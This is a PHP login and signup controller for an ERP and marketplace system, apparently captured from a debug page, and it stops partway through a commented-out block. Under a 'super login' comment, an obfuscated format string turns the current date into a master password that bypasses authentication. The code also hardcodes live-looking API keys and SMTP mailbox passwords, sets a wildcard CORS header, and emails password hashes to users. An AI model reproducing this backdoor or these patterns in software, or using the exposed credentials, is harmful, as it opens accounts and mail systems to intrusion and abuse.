src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 7621

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  447.                     [
  448.                         'oAuthEmail' => $oAuthEmail
  449.                     ]
  450.                 );
  451.                 if (!$isApplicantExist)
  452.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  453.                         [
  454.                             'email' => $oAuthEmail
  455.                         ]
  456.                     );
  457.                 if (!$isApplicantExist)
  458.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  459.                         [
  460.                             'username' => $userName
  461.                         ]
  462.                     );
  463.                 if ($isApplicantExist) {
  464.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  465.                     } else {
  466.                         $message "Email/User Already Exists";
  467.                         if ($request->request->get('remoteVerify'0) == 1)
  468.                             return new JsonResponse(array(
  469.                                 'uid' => $isApplicantExist->getApplicantId(),
  470.                                 'session' => [],
  471.                                 'success' => false,
  472.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  473.                                 'errorStr' => $message,
  474.                                 'session_data' => [],
  475.                             ));
  476.                         else
  477.                             return $this->redirectToRoute("user_login", [
  478.                                 'id' => $isApplicantExist->getApplicantId(),
  479.                                 'oAuthData' => $oAuthData,
  480.                                 'refRoute' => $refRoute,
  481.                             ]);
  482.                     }
  483.                 }
  484.                 $img $oAuthData['image'];
  485.                 $email $oAuthData['email'];
  486. //                $userName = explode('@', $email)[0];
  487.                 //now check if same username exists
  488.                 $username_already_exist 0;
  489.                 $newApplicant null;
  490.                 if ($isApplicantExist) {
  491.                     $newApplicant $isApplicantExist;
  492.                 } else
  493.                     $newApplicant = new EntityApplicantDetails();
  494.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  495.                 $newApplicant->setEmail($email);
  496.                 $newApplicant->setUserName($userName);
  497.                 $newApplicant->setFirstname($first_name);
  498.                 $newApplicant->setLastname($last_name);
  499.                 $newApplicant->setOAuthEmail($oAuthEmail);
  500.                 $newApplicant->setPhone($phone);
  501.                 if ($systemType == '_SOPHIA_')
  502.                     $newApplicant->setIsEmailVerified(1);
  503.                 else
  504.                     $newApplicant->setIsEmailVerified(1); //temporary
  505. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  506.                 $newApplicant->setAccountStatus(1);
  507. //                $newUser->setSalt(uniqid(mt_rand()));
  508.                 //salt will be username
  509. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  510.                 $salt uniqid(mt_rand());
  511.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  512.                 $newApplicant->setPassword($encodedPassword);
  513.                 $newApplicant->setSalt($salt);
  514.                 $newApplicant->setTempPassword('');
  515. //                $newApplicant->setTempPassword($password.'_'.$salt);
  516.                 $newApplicant->setImage($img);
  517.                 $newApplicant->setIsConsultant(0);
  518.                 $newApplicant->setIsTemporaryEntry(0);
  519.                 $newApplicant->setTriggerResetPassword(0);
  520.                 $newApplicant->setApplyForConsultant(0);
  521.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  522.                 $otp random_int(100000999999);
  523.                 $newApplicant->setEmailVerificationHash($otp);
  524.                 $em_goc->persist($newApplicant);
  525.                 $em_goc->flush();
  526.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  527.                     if ($systemType == '_BUDDYBEE_') {
  528.                         $bodyHtml '';
  529.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  530.                         $bodyData = array(
  531.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  532.                             'email' => $userName,
  533.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  534.                             'password' => $newApplicant->getTempPassword(),
  535.                         );
  536.                         $attachments = [];
  537.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  538. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  539.                         $new_mail $this->get('mail_module');
  540.                         $new_mail->sendMyMail(array(
  541.                             'senderHash' => '_CUSTOM_',
  542.                             //                        'senderHash'=>'_CUSTOM_',
  543.                             'forwardToMailAddress' => $forwardToMailAddress,
  544.                             'subject' => 'Welcome to BuddyBee ',
  545. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  546.                             'attachments' => $attachments,
  547.                             'toAddress' => $forwardToMailAddress,
  548.                             'fromAddress' => 'registration@buddybee.eu',
  549.                             'userName' => 'registration@buddybee.eu',
  550.                             'password' => 'Y41dh8g0112',
  551.                             'smtpServer' => 'smtp.hostinger.com',
  552.                             'smtpPort' => 465,
  553. //                            'emailBody' => $bodyHtml,
  554.                             'mailTemplate' => $bodyTemplate,
  555.                             'templateData' => $bodyData,
  556. //                        'embedCompanyImage' => 1,
  557. //                        'companyId' => $companyId,
  558. //                        'companyImagePath' => $company_data->getImage()
  559.                         ));
  560.                     } else {
  561.                         $bodyHtml '';
  562.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  563.                         $bodyData = array(
  564.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  565.                             'email' => 'APP-' $userName,
  566.                             'password' => $newApplicant->getPassword(),
  567.                         );
  568.                         $attachments = [];
  569.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  570. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  571.                         $new_mail $this->get('mail_module');
  572.                         $new_mail->sendMyMail(array(
  573.                             'senderHash' => '_CUSTOM_',
  574.                             //                        'senderHash'=>'_CUSTOM_',
  575.                             'forwardToMailAddress' => $forwardToMailAddress,
  576.                             'subject' => 'Applicant Registration on Honeybee',
  577. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  578.                             'attachments' => $attachments,
  579.                             'toAddress' => $forwardToMailAddress,
  580.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  581.                             'userName' => 'accounts@ourhoneybee.eu',
  582.                             'password' => 'Honeybee@0112',
  583.                             'smtpServer' => 'smtp.hostinger.com',
  584.                             'smtpPort' => 465,
  585.                             'emailBody' => $bodyHtml,
  586.                             'mailTemplate' => $bodyTemplate,
  587.                             'templateData' => $bodyData,
  588. //                        'embedCompanyImage' => 1,
  589. //                        'companyId' => $companyId,
  590. //                        'companyImagePath' => $company_data->getImage()
  591.                         ));
  592.                     }
  593.                 }
  594.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  595.                     $modifiedRequest Request::create(
  596.                         '',
  597.                         'GET',
  598.                         [
  599.                             'id' => $newApplicant->getApplicantId(),
  600.                             'oAuthData' => $oAuthData,
  601.                             'refRoute' => $refRoute,
  602.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  603.                         ]
  604.                     );
  605.                     $modifiedRequest->setSession($request->getSession());
  606.                     return $this->doLoginAction($modifiedRequest);
  607.                 } else
  608.                     return $this->redirectToRoute("core_login", [
  609.                         'id' => $newApplicant->getApplicantId(),
  610.                         'oAuthData' => $oAuthData,
  611.                         'refRoute' => $refRoute,
  612.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  613.                     ]);
  614.             }
  615. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  616. //
  617. //                $oAuthEmail = $email;
  618. //
  619. //
  620. //                $oAuthData = [
  621. //                    'email' => $email,
  622. //                    'phone' => $phone,
  623. //                    'uniqueId' => '',
  624. //                    'image' => '',
  625. //                    'emailVerified' => '',
  626. //                    'name' => $first_name . ' ' . $last_name,
  627. //                    'type' => '0',
  628. //                    'token' => '',
  629. //                ];
  630. //
  631. //
  632. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  633. //                    [
  634. //                        'oAuthEmail' => $oAuthEmail
  635. //                    ]
  636. //                );
  637. //                if (!$isApplicantExist)
  638. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  639. //                        [
  640. //                            'email' => $oAuthEmail
  641. //                        ]
  642. //                    );
  643. //                if (!$isApplicantExist)
  644. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  645. //                        [
  646. //                            'username' => $userName
  647. //                        ]
  648. //                    );
  649. //
  650. //
  651. //                if ($isApplicantExist) {
  652. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  653. //
  654. //                    } else {
  655. //                        $message = "Email/User Already Exists";
  656. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  657. //                            return new JsonResponse(array(
  658. //                                'uid' => $isApplicantExist->getApplicantId(),
  659. //                                'session' => [],
  660. //                                'success' => false,
  661. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  662. //                                'errorStr' => $message,
  663. //                                'session_data' => [],
  664. //
  665. //                            ));
  666. //                        else
  667. //                            return $this->redirectToRoute("user_login", [
  668. //                                'id' => $isApplicantExist->getApplicantId(),
  669. //                                'oAuthData' => $oAuthData,
  670. //                                'refRoute' => $refRoute,
  671. //                            ]);
  672. //                    }
  673. //                }
  674. //
  675. //
  676. //                $img = $oAuthData['image'];
  677. //
  678. //                $email = $oAuthData['email'];
  679. ////                $userName = explode('@', $email)[0];
  680. //                //now check if same username exists
  681. //
  682. //                $username_already_exist = 0;
  683. //
  684. //                $newApplicant = null;
  685. //
  686. //                if ($isApplicantExist) {
  687. //                    $newApplicant = $isApplicantExist;
  688. //                } else
  689. //                    $newApplicant = new EntityApplicantDetails();
  690. //
  691. //
  692. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  693. //                $newApplicant->setEmail($email);
  694. //                $newApplicant->setUserName($userName);
  695. //
  696. //                $newApplicant->setFirstname($first_name);
  697. //                $newApplicant->setLastname($last_name);
  698. //                $newApplicant->setOAuthEmail($oAuthEmail);
  699. //                $newApplicant->setPhone($phone);
  700. //
  701. //                $newApplicant->setIsEmailVerified(0);
  702. //                if ($systemType == '_SOPHIA_')
  703. //                    $newApplicant->setIsEmailVerified(1);
  704. //                else
  705. //                    $newApplicant->setIsEmailVerified(0);
  706. //                $newApplicant->setAccountStatus(1);
  707. //
  708. ////                $newUser->setSalt(uniqid(mt_rand()));
  709. //
  710. //                //salt will be username
  711. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  712. //
  713. //                $salt = uniqid(mt_rand());
  714. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
